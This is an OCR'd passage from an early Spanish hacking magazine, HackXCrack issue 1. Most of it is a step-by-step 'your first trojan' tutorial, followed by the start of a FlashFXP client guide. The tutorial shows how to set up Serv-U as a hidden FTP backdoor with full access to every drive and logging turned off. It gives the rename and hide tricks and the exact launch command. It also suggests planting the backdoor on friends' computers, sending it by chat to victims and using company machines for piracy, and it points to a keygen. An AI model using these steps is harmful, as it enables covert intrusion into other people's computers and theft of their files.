disco duro… pero si en lugar de conectaros a           de Nuestro Servidor FTP a cualquier carpeta
vuestro Servidor de FTP os hubieseis conectado         de vuestro Disco Duro y veréis que se iniciará
al de Microsoft, veréis que la velocidad es la         la descarga. Ahora somos clientes de nosotros
de vuestra conexión a Internet… venga,                 mismos. :)
conectaros ahora a ftp://ftp.microsoft.com/ y          3) Intentamos arrastrar archivos de cualquier
practicad eso de "pillar" archivos : (este servidor    carpeta de nuestro disco duro a nuestro
es de Microsoft y es de LIBRE ACCESO, no               Servidor en cualquiera de las Carpetas (DIVX
piense nadie que está "robando archivos"). Es          o MP3), veremos que no podemos hacerlo,
como vuestro Servidor FTP (mas o menos),               para eso debemos dar permisos de escritura
pues ya tenemos montado un Servidor FTP y              a las Carpetas DIVX y MP3. Pues lo hacemos,
funcionando, igual que las grandes empresas            damos permisos de WRITE y MAKE a esas
:)                                                     Carpetas (el cómo hacerlo ya lo hemos
                                                       explicado mas arriba). Finalmente volvemos
                                                       a intentar copiar y ya sin problemas.
          AVA N Z A N D O :                Sobre       Pero si intentamos arrastrar archivos de nuestro
          ftp://ftp.microsoft.com                      disco duro al FTP de Microsoft, veremos que
          ¿Qué ha pasado con la nomenclatura
                                                       no se deja. Supongo que te imaginas el motivo,
   [PROTOCOLO]://[USER]:[PASS]@[IP]:
   [PUERTO]? Pues nada, sigue siendo la misma,         recordad que nosotros acabamos de dar
   pero este FTP es de acceso público, es decir,       permisos de lectura y escritura a nuestro
   que puede entrar todo el mundo. Pasar al artículo   Servidor FTP, pero Microsoft solo ha dado
   de FXP para saber más sobre los accesos             permiso de LECTURA a su Servidor FTP, por
   anónimos.
                                                       lo tanto podéis "pillar" archivos pero no
                                                       "subirles" archivos a ellos.
                                                       4) Abrimos dos sesiones del Internet Explorer
          A SABER. Pero… ¿no quedamos que              y ponemos las ventanas una junto a la otra.
          para entrar en un Servidor FTP hacía         En una ponemos la dirección de vuestro Server
   falta un programa Cliente de FTP? Pues SI,          FTP y en otra la del Server de Microsoft. Ahora
   pero el navegador de Microsoft (el Internet
   Explorer) ya tiene "una especie de Cliente FTP"     arrastrad un archivo de Microsoft a vuestro
   incorporado… pero es muy malo, lento y sirve        Server y… jejeje, os da un error como una
   para poco mas que ver y descargar archivos de       casa ¿verdad? Acabamos de intentar (sin éxito)
   Servidores FTP remotos.                             hacer una transferencia entre dos Servidores
                                                       de FTP, eso se llama FXP… pero de eso ya
                                                       hablaremos en otro momento :)
                                                       Solo comentaros que no hemos podido hacer
Practica un poco, por ejemplo:
                                                       FXP por dos motivos: uno las limitadas
1) Abrimos el Internet Explorer y nos
                                                       capacidades del Internet Explorer y otro que
conectamos al Servidor FTP de Microsoft
                                                       Microsoft ha configurado su Servidor FTP
(ftp://ftp.microsoft.com). Veremos una serie
                                                       activando aquella casilla que hacía referencia
de carpetas, entrad en la carpeta ResKit y
                                                       al Bounce Attack :) Por lo tanto ya hemos a-
después en la carpeta win2000 Ahora arrastrad
  LOS CUADERNOS DE                HACKXCRACK -- NÚMERO 1                       p á g . 1 2
HackXCrack         HackXCrack           HackXCrack       HackXCrack      HackXCrack        HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack         HackXCrack           HackXCrack       HackXCrack      HackXCrack        HackXCrac k




prendido algo muy interesante, para conseguir            •         Ejecutamos el amdset.exe (que en
hacer FXP necesitaremos un programa de FXP               realidad es el Sev-U, aun podéis ver
(como el FlashFXP) y dos servidores que                  perfectamente el icono, después nos
permitan el Bounce Attack (y mas cosas que               encargaremos de eso :)
os explicaremos).                                        •         Menú Setup --> Users y borramos el
                                                         usuario por defecto (Delete)
                                                         •         Añadimos uno nuevo (por ejemplo
           ADVERTENCIA: He descrito cómo                 minidump) y le ponemos un pass (por ejemplo
           configurar este Servidor FTP (la versión      dumping)
  2 . 5 e d e l S e r v - U ) p o rq u e e s l a q u e   •         En Home Directory le metemos c: y
  "transformaremos" en un troyano. No se te ocurra       a File Directory/Access Rules le añadimos
  utilizarla en tu ordenador de forma permanente,
  para eso utiliza una versión superior. ¿Por qué?       (ADD) tantas unidades como letras del
  Muy sencillo, si los programas en sus últimas          abecedario ingles existen :)
  versiones tienen agujeros de seguridad, imagínate      Es decir, añadimos a: y b: (o mejor no, que
  una versión tan antigua, para quien conoce el          eso se nota mucho, bueno, como queráis:),
  tema, es como un "queso" :)                            c:, d:, e:, f:, g:, h: … y así hasta z: (he
                                                         dicho alfabeto ingles, no seamos mulas
                                                         metiendo ñ: o una letra compuesta como ch:
                                                         o cualquier bestialidad de ese tipo, ante la
6.- "Transformando" el                Serv-U 2.5e        duda no introducid esa letra ¿vale?)
en un Troyano :                                          Con esto conseguimos acceso a todos los
                                                         discos duros y particiones de un ordenador,
Hemos escogido este programa y versión de                esa es nuestra intención, porque este troyano
Servidor FTP porque es muy sencillo y porque             irá a parar a ordenadores de los que no tenéis
solo necesita para ejecutarse un archivo (el             ni idea de cómo están configurados ni de
que habéis ejecutado) y otro archivo de                  cuantas particiones tienen ni nada, así que
configuración en formato texto plano. ¿Qué?              nos curamos en salud y les "pillamos" acceso
¿Y dónde demonios está el otro archivo?                  a todo :) (lo de no poner el a: y b: es porque
                                                         eso nos da acceso a la disquetera, y "canta"
Este artículo es para principiantes de nivel             mucho que alguien esté en su ordenador
cero y, a partir de este momento será un                 viendo un video y de repente la disquetera
artículo para principiantes de nivel 1, pero             empiece a hacer el tonto ¿verdad?)
harían bien en leerlo quienes se creen muy
listos y muy avanzados, porque vamos a crear             No olvidéis dar permisos COMPLETOS a cada
nuestro primer Troyano con el Serv-U :) A                nueva Carpeta (en este caso son unidades de
partir de ahora acelero un poco y no me paro             disco duro) :) y pulsamos OK
a explicar "boludeces", como diría un estimado
coleguilla argentino :)

Vamos a crear un Directorio nuevo en nuestro
Disco Duro (c:seru) y copiamos el Serv-U de
http://www.hackxcrack.com/cuadernoshack/
numero1/servu25e.exe en ese directorio y:
•       Renombramos servu25e.exe a
amdset.exe (por ejemplo)

 LOS CUADERNOS DE                  HACKXCRACK -- NÚMERO 1                         p á g . 1 3
HackXCrack         HackXCrack          HackXCrack       HackXCrack        HackXCrack           HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack         HackXCrack          HackXCrack       HackXCrack        HackXCrack           HackXCrac k



                                                        tener el software mas moderno podemos hacer
                                                        mejor las cosas, de hecho es al contrario, las
                                                        versiones avanzadas del Serv-U no nos dejaría
                                                        hacer esto de una forma tan sencilla como lo
                                                        vamos a hacer nosotros.

                                                                  AVANZANDO: Sobre los archivos de
                                                                  configuración.
                                                           Suelen ser archivos de texto (aunque no
                                                           necesariamente) que almacenan la configuración
                                                           del programa por el que son llamados. En este
                                                           caso, al ejecutar el amdset.exe pulsando dos
                                                           veces sobre él, lo primero que hace el programa
                                                           es intentar leer el archivo SERV-U.INI, pero como
                                                           no lo encuentra pues lo crea él mismo. A medida
                                                           que cambiamos opciones en la configuración del
Ahora, en Setup --> FTP Server…                            Serv-U, estas se van añadiendo al SERV-U.INI
•       Ponemos el puerto que queramos                     Aquí quiero que os deis cuenta de algo muy
(mejor uno por encima del 1024 y que no                    importante (especialmente quienes solo utilizáis
sobrepase el 60000), por ejemplo el 2320.                  Windows y sus programas gráficos). La interfaz
                                                           gráfica de un programa (en este caso el Serv-U)
•       Activamos el cuadro de selección
                                                           os ofrece una serie de posibilidades, pero no
Encrypt Passwords (el resto desactivados)                  suele ofreceros todas las opciones : Es decir, que
•       Desactivamos el Dir Caché (a la                    si solo utilizamos la parte gráfica de los
derecha) y OK.                                             programas estamos perdiendo (en muchos casos)
                                                           una gran cantidad de opciones "ocultas"que solo
                                                           podemos modificar "a mano" editando el archivo
Ahora en el Menú Setup --> logging lo
                                                           de configuración.
desactivamos todo (no queremos que                         Para poder apreciar la importancia de esto, nada
loggeen nuestra IP de una forma tan tonta                  mejor que echarle un vistazo a vuestro Windows.
¿verdad?)                                                  Pensad que Windows es como el Serv-U, lo que
                                                           vemos es una un simple interfaz gráfico. Y su
                                                           archivo de configuración es el registro de
                                                           Windows, una especie de archivo de texto
         ADVERTENCIA: Sobre el "logging"                   (aunque con un formato especial) que guarda la
         Si dejamos activada esta opción, se creará        configuración de nuestro sistema. Un simple
   un archivo de texto que guardará la IP del cliente      cambio en el registro "a mano" puede hacer que
   que se conecte y otras cosas más, por lo tanto          se inicien en vuestro equipo 50 programas (a
   debemos desactivarlo. Debemos tener mucho               elegir) en modo oculto :) Y no encontrarás en la
   cuidado cuando iniciamos programas en equipos           interfaz gráfica de Windows como activarlos o
   remotos, porque suelen "loggear" los accesos,           desactivarlos… ¿vemos ahora la importancia de
   en este caso, como somos nosotros quienes               saber distinguir entre "el programa" y su "interfaz
   "preparamos" el programa, podemos desactivar            gráfica"?
   esta opción :)
                                                        Bien, vamos a abrir el fichero de texto serv-
Bien, pues ya está. Ahora vamos a la carpeta            u.ini (de configuración) y a modificarlo un
c:seru y miramos lo que hay. Veremos el                poco. Lo abrimos con el Block de Notas de
archivo del Serv-U (amdset.exe) y otro en               Windows o cualquier otro procesador de textos
formato texto (SERV-U.INI). No, no ha                   "plano", no seamos bestias y usemos Word
aparecido como por arte de magia, es la                 ¿vale? Si, si, deja de reírte por favor, pero no
configuración del Serv-U :) Si hemos elegido            te imaginas los e-mail que nos llegan… no es
esta versión del Serv-U es por algo, no por             broma :)

 LOS CUADERNOS DE                 HACKXCRACK -- NÚMERO 1                             p á g . 1 4
HackXCrack   HackXCrack   HackXCrack   HackXCrack       HackXCrack          HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack   HackXCrack   HackXCrack   HackXCrack       HackXCrack          HackXCrac k



[GLOBAL]                               Access7=t:,RWAMCDLEP
TryOut=Full                            Access8=s:,RWAMCDLEP
Version=2.5.5.2                        Access9=r:,RWAMCDLEP
MaxNrUsers=-1                          Access10=q:,RWAMCDLEP
PortNr=2320                            Access11=p:,RWAMCDLEP
AntiHammer=FALSE                       Access12=o:,RWAMCDLEP
AntiHammerWindow=30                    Access13=n:,RWAMCDLEP
AntiHammerTries=4                      Access14=m:,RWAMCDLEP
AntiHammerBlock=300                    Access15=l:,RWAMCDLEP
Security=OFF                           Access16=k:,RWAMCDLEP
DirCacheEnable=NO                      Access17=j:,RWAMCDLEP
DirCacheSize=25                        Access18=i:,RWAMCDLEP
DirCacheTime=600                       Access19=h:,RWAMCDLEP
LogGETs=OFF                            Access20=g:,RWAMCDLEP
LogPUTs=OFF                            Access21=f:,RWAMCDLEP
LogSystemMes=OFF                       Access22=e:,RWAMCDLEP
LogSecurityMes=OFF                     Access23=d:,RWAMCDLEP
LogFTPCommands=OFF                     Access24=c:,RWAMCDLEP
LogFTPReplies=OFF
LogIPNames=OFF                         Estas tres líneas las cambiaremos :)
LogDirtyDetails=OFF                    StartIconic=Yes
LogAccessDLL=OFF                       ShowToolBar=Yes
LogFileGETs=OFF                        ShowBmpMenus=Yes
LogFilePUTs=OFF
LogFileSystemMes=OFF                   Y quedarán así:
LogFileSecurityMes=OFF
LogFileFTPCommands=OFF                 StartIconic=No
LogFileFTPReplies=OFF                  ShowToolBar=No
LogFileIPNames=OFF                     ShowBmpMenus=No
LogFileDirtyDetails=OFF                Con esto conseguimos ser un poco menos
LogFileAccessDLL=OFF                   "llamativos".
Logging=ON
IPLog=0
StartIconic=Yes                                  ADVERTENCIA: Una vez modificado el
StartMaximized=No                                archivo de configuración de la forma
ShowToolBar=Yes                          mencionada, en algunos sistemas sigue
ShowBmpMenus=Yes                         apareciendo una advertencia respecto a la
                                         antigüedad del Serv-U. Para eliminar esta
[USER=minidump]                          advertencia debemos registrar el programa, es
Password=bmj4CV/eVvSIQ                   decir, comprarlo para que nos envíen una clave
HomeDir=c:                              de registro. Pero como es antiguo no os lo darán,
Access1=z:,RWAMCDLEP                    así que unos señores han hecho un keymaker
Access2=y:,RWAMCDLEP                    (generador de números de registro). Lo
                                         encontrareis en WWW.ASTALAVISTA.COM
Access3=x:,RWAMCDLEP                    (aprended a utilizar esa Web:). Recuerda que si
Access4=w:,RWAMCDLEP                    registras el Serv-U de esta manera estás
Access5=v:,RWAMCDLEP                    cometiendo un delito, pero nosotros debemos
Access6=u:,RWAMCDLEP                    mostrarte todas las alternativas :))


 LOS CUADERNOS DE     HACKXCRACK -- NÚMERO 1                      p á g . 1 5
HackXCrack       HackXCrack        HackXCrack        HackXCrack      HackXCrack          HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack       HackXCrack        HackXCrack        HackXCrack      HackXCrack          HackXCrac k



Una vez pagues por el programa y os envíen           duro o una partición D) NO podrás acceder a
el código de registro (si es que lo consigues),      esa unidad desde el Internet Explorer (bueno,
abre el Serv-U, ves al Menú Help --> Register        si pero no directamente, así que utiliza el
Serv-U y pulsa Enter Key. Introduce el código,       FlashFXP y verás que entonces SI consigues
pulsa OK, reinicia el Serv-U y ya está registrado.   acceso a todas las unidades).
                                                     Para saber más sobre FXP mira el artículo
                                                     FlashFXP en este mismo cuaderno.
7.-Ocultando el Serv-U 2.5e PARTE I

                                                     7.- Ocultando el Serv-U 2.5e PARTE II
Bien, vamos a iniciar el Serv-U por línea de
comandos para poder ocultarlo.                       Volvamos a nuestra carpeta c:seru y picamos
Inicio --> Accesorios --> Símbolo del sistema        el botón derecho sobre amdset.exe. Se abrirá
<Nos aparecerá lo que denominamos Shell              una ventana, miramos en atributos y marcamos
del Sistema, una ventana en negro con un             Archivo y Oculto. Hacemos lo mismo con
cursor parpadeando que parece estar                  SERV-U.INI
esperando nuestras instrucciones :)>
                                                              A SABER:
                                                              Cuando cambiamos el atributo de un
                                                       archivo a Oculto, quizás desaparezca de tu vista
                                                       :) Eso significa que tu Windows está muy mal
                                                       configurado. Cualquier administrador o persona
                                                       que se precie, al instalar un sistema deberá
                                                       cambiar lo que sea necesario para poder VER y
                                                       ACCEDER a TODO EL SISTEMA.
                                                       Para poder ver los archivos Ocultos y de Sistema
                                                       en Windows XP haced lo siguiente:
                                                       -       Ir a Inicio --> Panel de Control -->
-        Escribimos C: y pulsamos Enter (esto          Opciones de Carpeta --> Pestaña
                                                       -       En Configuración Avanzada
nos conduce a nuestro disco C:)                        * Marcar Mostrar todos los archivos y carpetas
-        Después escribimos cd seru y                 ocultos
pulsamos Enter (esto nos hace entrar en el             * Marcar Mostrar con otro color los archivos
directorio seru).                                      NTFS o comprimidos o cifrados
-        Después escribimos dir /a *.* y               * Marcar Mostrar contenido de las carpetas de
                                                       sistema
pulsamos Enter (esto nos muestra todos los             * Desmarcar Ocultar archivos protegidos del
archivos que hay en c:seru incluidos los              sistema del sistema operativo
ocultos).                                              * Desmarcar Ocultar las extensiones de archivo
-        Ahora escribimos amdset.exe -h y              para tipos de archivos conocidos)
pulsamos Enter.
                                                     Ahora renombramos el amdset.exe a amdset.dll
¿Qué ha pasado? ¿nada? Pues te equivocas,            (un buen nombre para ocultarlo ¿verdad?)
estás ejecutando el Serv-U… ¿Qué no te lo            ¿Qué ha pasado? Pues que hemos perdido el
crees? Pues prueba a entrar, abre el navegador       icono :) Si, si, ya se que ahora no es un exe
y escribe                                            y no puede ejecutarse… jeje, muy novato
ftp://minidump:dumping@127.0.0.1:2320                tienes que ser para pensar eso :)
Verás que tienes acceso a todo el disco C:
Ojo, porque si tenéis una unidad D (un disco         Antes de ejecutarlo (después te explico como)

  LOS CUADERNOS DE            HACKXCRACK -- NÚMERO 1                           p á g . 1 6
HackXCrack       HackXCrack       HackXCrack        HackXCrack        HackXCrack            HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack       HackXCrack       HackXCrack        HackXCrack        HackXCrack            HackXCrac k




vamos a renombrar el SERV-U.INI a, por
ejemplo, fastscsi.dll (je, je, a ver quien es
el guapo que ve este archivo en su ordenador                  LA VOZ DEL SABER 1. Advertencia para
y sospecha de él :). No te olvides de ponerle                 los Lamers:
                                                      Hemos conseguido ocultar el Serv-U, ya no tenemos
la propiedad de oculto (igual que hicimos con         constancia visual de su existencia pero, por favor,
el amdset.exe)                                        no os creáis que esto es "el no va mas", permitidme
                                                      que me ría y os diga que esto no deja de ser una
Ya estamos preparados. Solo un apunte, el             chapucilla ¿vale? Esto va para los lamercillos, esos
Serv-U (ahora amdset.dll) necesita un archivo         que se creen que ya han conseguido el nirvana a
                                                      base de botellón y pastillas. Pues que te quede
de configuración y por defecto llama al archivo       claro: No has conseguido ocultar el proceso (aunque
SERV-U.INI (eso ya lo comentamos                      ahora ya no se llama serv-u.exe), No has conseguido
anteriormente). Pero ahora, si ejecutamos el          ni mucho menos ocultarte de un netstat (faltaría
amdset.dll, al no encontrar el archivo de             mas, eso dista años luz de tus limitadas
configuración llamado SERV-U.INI creará uno           posibilidades), No has conseguido hacer
                                                      desaparecer el amdset.dll (mediante por ejemplo
nuevo llamado SERVU-INI… y eso no nos                 un "streaming" de archivo). Hay muchas maneras
interesa. Así que vamos a iniciar el Serv-U           de ocultar un archivo, no digamos ya usando
(ahora amdset.dll) diciéndole que utilice como        "rootkits" y demás, vamos, que no se te suban a la
archivo de configuración el fastscsi.dll (nuestro     cabeza las posibilidades que brinda este artículo,
SERV-U.INI renombrado) :) y con una opción            porque cualquier administrador con dos dedos de
                                                      frente se te comerá vivo.
especial -h que oculta el Servidor FTP.

Abrimos La Consola de Windows (el SHELL
                                                              LA VOZ DEL SABER 2: Advertencia para
del sistema, Inicio --> Accesorios --> Símbolo                los curiosos.
del Sistema), vamos al directorio c:                 La curiosidad es la semilla de la genialidad, creo
(escribimos c: y pulsamos Enter), entramos            que el hombre seguiría a cuatro patas si nuestra
en el directorio c:seru (escribimos cd seru          raza no tuviese ese maravilloso instinto que es
                                                      la curiosidad. Dicen que la curiosidad mató al
y pulsamos Enter) y por ultimo escribimos la
                                                      gato, pero el gato tiene siete vidas y el hombre
siguiente instrucción:                                solo una, así que, se prudente y practica con lo
start amdset.dll fastscsi.dll -h y pulsamos           que te enseñemos sin hacer daño a nadie y con
Enter.                                                el único objetivo de aprender mas y mas y mas.
                                                      Esto es el principio, el primer escalón de una
                                                      infinita estela de escarpadas colinas, se prudente
                                                      y ten paciencia, ya llegará el momento en que
                                                      puedas saltar las montañas de tres en tres, por
                                                      ahora sube peldaño a peldaño y empieza a
                                                      ejercitar tus músculos… deja que los lamercillos
                                                      se crean que pueden saltar precipicios, se mas
                                                      listo que ellos y un día, verás como vuelas libre
                                                      por encima de los cadáveres de miles de idiotas
                                                      que se creyeron dioses. No pierdas nunca tu
                                                      curiosidad, no pierdas nunca tu humildad y
                                                      comparte tus conocimientos con los que son como
Ya está, ya tenemos otra forma un poco más            tú… dale la espalda a los soberbios e ignora a
                                                      los que se regodean de sus conocimientos, porque
elegante de hacer correr nuestro troyano. Por
                                                      no hay nada más ridículo que un mono que se
cierto, si eres curioso escribe start /? y pulsa      cree sabio. Un abrazo a todos los curiosos!!!
Enter, verás las posibilidades del comando
start :)


 LOS CUADERNOS DE             HACKXCRACK -- NÚMERO 1                             p á g . 1 7
HackXCrack       HackXCrack       HackXCrack       HackXCrack     HackXCrack      HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack       HackXCrack       HackXCrack       HackXCrack     HackXCrack      HackXCrac k




P.D. Dejamos para otro artículo el ocultamiento    •        Después vuelves a tu casa y te
avanzado de archivos, el ocultamiento avanzado     conectas al servidor que le has instalado a tu
de conexiones y el "asentamiento" de procesos      amigo igual que antes, es decir
en el inicio del sistema. De hecho no lo dejamos   ftp://minidump:dumping@127.0.0.1:2320
para otro artículo, sino para cientos de ellos,    PERO en lugar de 127.0.0.1 debes poner la IP
porque la lista de métodos y la explicación        de tu amigo… ¿Cómo la consigues?... Sencillo,
exhaustiva de los mismos ocuparían varias          antes de abandonar su casa, desde la consola
bibliotecas.                                       escribes ipconfig /all y después de pulsar
Es curioso, hoy en día hay bibliotecas de todo     Enter te apuntas en un papel el número que
tipo, incluso asociaciones que se dedican a        aparece a la derecha de Dirección IP. Esa será
traducir y almacenar hasta el último detalle       la IP que deberás poner en lugar de 127.0.0.1
de temas tan inútiles (desde mi punto de vista)
como "los famosos del cine" o "los amantes
de Isabel la Católica"… en cambio no existe        * Creando Dumps:
(que yo sepa) ninguna "biblioteca del hack"…       En el mundillo de los Grupos Warez (que se
si, es verdad que hay muchos libros, miles de      dedican a "compartir/piratear" software), se
papers, infinitos documentos... pero no una        llama Dump a la introducción de un Servidor
organización que almacene, ordene, conserve        FTP en un equipo remoto (por ejemplo en un
y administre de forma adecuada esos recursos.      ordenador de Microsoft) y a su activaciónde
Algún día, todo llegará :) (eso espero).           forma oculta tal y como os hemos enseñado
                                                   :). ¿Qué ganamos con esto?
                                                   Pues para empezar nos permite "updatar"
8.- Ideas:                                         (subir) software a ese equipo y que otras
                                                   personas puedan descargárselo. Es una manera
                                                   de piratear todo tipo de archivos y, lo más
     * Infección Directa:                          importante, utilizando la conexión a Internet
•        Coges un disquete (de esos de toda        del equipo remoto (normalmente una compañía
la vida) y le copias el ejecutable y el INI (que   con una buena conexión :)
ahora se llaman amdset.dll y fastscsi.dll)         Para poder "instalar" el Serv-U en un equipo
                                                   remoto sobre el que no tenemos privilegios
•        Vas a casa de cualquier coleguilla y le   hay que utilizar técnicas de hacking que ya
copias los archivos en el directorio de Windows    estudiaremos :
(normalmente c:windows) o donde tú quieras.
                                                   * Empaquetando:
•        Después le abres la consola y ejecutas    Podemos meter los dos archivos del Serv-U
el serv-u escribiendo:                             en un único ejecutable y junto a un par de
Start amdset.dll fastscsi.dll -h. Esta             modificaciones enviarlo por CHAT a posibles
instrucción deberás ejecutarla desde la misma      victimas e instarles a ejecutarlo :)
carpeta donde le has introducido los archivos
¿vale? En caso de ser la carpeta c:windows,       * Y mil cosas más :) Poco a poco :)
antes deberemos ir al directorio c:windows
en modo consola. Eso ya os lo hemos descrito
antes.



 LOS CUADERNOS DE            HACKXCRACK -- NÚMERO 1                       p á g . 1 8
HackXCrack      HackXCrack       HackXCrack       HackXCrack   HackXCrack   HackXCrac k

TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO
HackXCrack      HackXCrack       HackXCrack       HackXCrack   HackXCrack   HackXCrac k




9.- Resumen.

Hemos aprendido a:

-         Instalar un Servidor FTP.
-         Diferenciar entre un Servidor FTP y
un Cliente FTP; así como los programas a
utilizar para cada caso.
-         La nomenclatura para el acceso a
Servidores FTP.
-         La diferencia entre un programa, su
interfaz gráfica y su configuración.
-         Algunos conceptos de IP y sus
implicaciones.
-         Primeros intentos de FXP.
-         Ocultación simple de ficheros (cambio
de nombre y propiedades).
-         Acceso al Shell del sistema (línea de
comandos).
-         Ejecución del Serv-U por línea de
comandos añadiendo fichero de configuración.
-         Ejecución del Serv-U con opciones (-
h para la ocultación)
-         Ejecución de ficheros no ejecutables
mediante el comando Start
-         Algunas cosas mas :)




  LOS CUADERNOS DE           HACKXCRACK -- NÚMERO 1                 p á g . 1 9
FLASHFXP: SIN LIMITE DE VELOCIDAD :)
Importante: Aquellos que creen saber ya mucho sobre FTPs, que se lean este artículo.
Aunque enseñamos a manejar el FlashFXP intercalaremos conceptos avanzados sobre el
comportamiento de los Servidores FTP que difícilmente pueden encontrarse “comprensibles”
en ningún otro sitio.
Leed este artículo, no os defraudará!!!

1.- Introducción:                               2.- Instalando el FlashFXP:

En este mismo cuaderno hemos aprendido          Una vez nos hemos bajado el FlashFXP
a instalar un Servidor FTP y a acceder          de la Web Oficial nos encontraremos con
desde el navegador Internet Explorer. Esa       un archivo tipo ffxp143.zip, por tanto lo
no es precisamente la mejor manera de           descomprimiremos y ejecutaremos el
acceder a un Servidor FTP, para explotar        setup.exe, que se instala como cualquier
las posibilidades que nos brinda el Protocolo   otro programa de Windows : En nuestro
FTP debemos utilizar un Cliente de FTP          caso le indicaremos como carpeta de
que esté a la altura de las circunstancias.     instalación c:fxp
Ese cliente será el Flash FXP (corre y
bájatelo de su Web oficial                      Bien, pues una vez instalado vamos a
www.flashfxp.com).                              c:fxp y ejecutamos flashfxp.exe, con
                                                lo que nos aparecerá una ventana
Este cliente permite hacer prácticamente        advirtiéndonos de la temporalidad de
de todo, por eso lo hemos escogido. Y           nuestra licencia. Esperamos a que el
permite hacer cosas que un simple Cliente       contador acabe y pulsamos Continue,
de FTP no puede hacer: FXP (transferencia       con lo que finalmente estaremos ante la
directa de archivos entre servidores).          pantalla principal de FlashFXP.




   Zona 1                                                                     Zona 2




                                                                             Zona 3
Zona 4




  LOS CUADERNOS DE         HACKXCRACK -- NÚMERO 1                    p á g . 2 0
HackXCrack    HackXCrack     HackXCrack      HackXCrack   HackXCrack     HackXCrac k

    FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO
HackXCrack    HackXCrack     HackXCrack      HackXCrack   HackXCrack     HackXCrac k




Pasamos a describir las ZONAS:               • Pulsamos el botón derecho del ratón
                                             sobre cualquier parte libre de la Zona 1 y
* La Zona 1 nos mostrará el contenido de     seleccionamos Make Folder (crear
nuestro Disco Duro (por defecto el           directorio).
directorio donde hemos instalado el
FlashFXP). Podemos navegar desde esta        • Se abrirá una ventana donde
sección por todos nuestros Discos así como   introduciremos el nombre de la carpeta
crear directorios, copiar archivos, etc.     que queremos crear, en este caso
Cuando hagamos FXP en lugar de               MICROSOFT y pulsamos OK
mostrarnos nuestros archivos mostrará los
archivos del segundo Servidor FTP (ahora     • Podemos ver como aparece esa nueva
lo veremos).                                 carpeta en la Zona 1, pues entramos dentro
                                             pulsando dos veces sobre ella (con el
* La Zona 2 nos mostrará el contenido del    botón izquierdo del ratón)
Servidor FTP al que nos conectemos.
                                             Ahora vamos a conectar nuestro Cliente
* La Zona 3 nos mostrará información de      FTP al Servidor de FTP de Microsoft :)
"lo que está pasando", es decir, comandos
de control, información sobre las            • Seleccionamos la Zona 2 pulsando con
transferencias, etc. Es muy importante       el botón izquierdo del ratón en cualquier
que nos familiaricemos con esta sección      sitio de ella.
:)
                                             • Menú Sites --> Site Manager y
* La Zona 4 es donde se almacena el          aparecerá una ventana donde
"trabajo". Cuando demos la orden de bajar    gestionaremos los Servidores a los que
50 archivos de un Servidor FTP, veremos      nos conectaremos.
como "aparecen" en esta zona. El FlashFXP
no los intenta bajar todos de golpe, sino    • Pulsamos New Site, introducimos el
uno a uno siguiendo la lista.                nombre (en este caso MICROSOFT) y
                                             pulsamos OK.
3.- El FlashFXP:
                                             • Cumplimentamos los Datos de Acceso
En la Zona 1 podemos ver los archivos de     (a la derecha):
nuestro disco duro situados en la carpeta
c:fxp, es decir, donde hemos instalado      -      Site Name: Os aparecerá
el FlashFXP. Como no queremos que los        MICROSOFT, puesto que lo acabamos de
archivos que "pillemos" de otros equipos     introducir en la ventana anterior. Es para
se nos junten con los nuestros vamos a       vuestra referencia, no influye en la
crear una carpeta llamada MICROSOFT          conexión.
en la Zona 1 (nuestro Disco Duro) donde
meteremos todo lo que bajemos.               -       IP Address: Aquí podemos poner
                                             la dirección del servidor remoto. En este

 LOS CUADERNOS DE        HACKXCRACK -- NÚMERO 1                   p á g . 2 1
HackXCrack     HackXCrack      HackXCrack      HackXCrack    HackXCrack      HackXCrac k

     FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO
HackXCrack     HackXCrack      HackXCrack      HackXCrack    HackXCrack      HackXCrac k




caso ftp.microsoft.com (ya explicaremos        pues introduciríais esa ruta y directamente
este nombre en profundidad mas abajo)          aparecería ante nosotros la lista de archivos
                                               :), ya avanzaremos también sobre eso).
-       Port: Lo dejaremos en 21, que
suele ser el puerto por defecto seleccionado   -       Notes: Muy útil, es para que
por los Servidores FTP comerciales.            podáis apuntar comentarios sobre el
                                               Servidor, por ejemplo claves para
-      User Name y Password: Lo                directorios ocultos y todo lo que queramos
dejamos sin rellenar pero activamos el         :)
cuadro de selección anonymous. Mas
adelante explicaremos las consecuencias
de esto :)
                                               • Pulsamos Connect y la ventana se
-       Remote Path: Lo dejamos en             cerrará dejándonos ante el FlashFXP. En
blanco, así apareceremos en el directorio      la Zona 2 aparecerán las carpetas y
por defecto que nos ofrezca el Servidor        archivos del Servidor FTP de Microsoft. En
FTP de Microsoft. (Si alguien os "chivase"     la Zona 3 veremos los comandos que se
un directorio oculto con "programas gratis",   han realizado durante la conexión.




 LOS CUADERNOS DE          HACKXCRACK -- NÚMERO 1                    p á g . 2 2
HackXCrack        HackXCrack          HackXCrack     HackXCrack    HackXCrack      HackXCrac k

     FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO
HackXCrack        HackXCrack          HackXCrack     HackXCrack    HackXCrack      HackXCrac k




                                                     disco duro) a la Zona 2 (el Servidor FTP
                                                     de Microsoft), veremos que en la Zona 3
         A tener en cuenta 1.                        sale un error. Eso es debido a que Microsoft
         Si en algún momento perdemos la             ha configurado su Servidor FTP para no
  conexión (desaparecen todas las carpetas de la
  Zona 2) podemos volver a conectaros: Sites --
                                                     admitir la subida de archivos (opción Write
  > Site Manager --> Seleccionamos Microsoft y       ya vista en el artículo del Serv-U)
  pulsamos CONNECT (abajo a la derecha)              -        Creando carpetas: Botón derecho
  La desconexión se puede producir por mil cosas,    sobre la Zona 2 y selecciona Make Folder
  pero la mas común en el caso de Servidores FTP
  es por la propia configuración del mismo. En       (crear directorio), verás que no te deja
  concreto la que hace referencia a IDLE TIME        por el motivo antes mencionado. Recuerda
  OUT.                                               que tu si puedes crear directorios en la
  Ejecutamos nuestro Serv-U y vamos al menú
  Setup --> Users --> Pulsamos el Boton MISC         Zona 1, puesto que es tu propio Disco
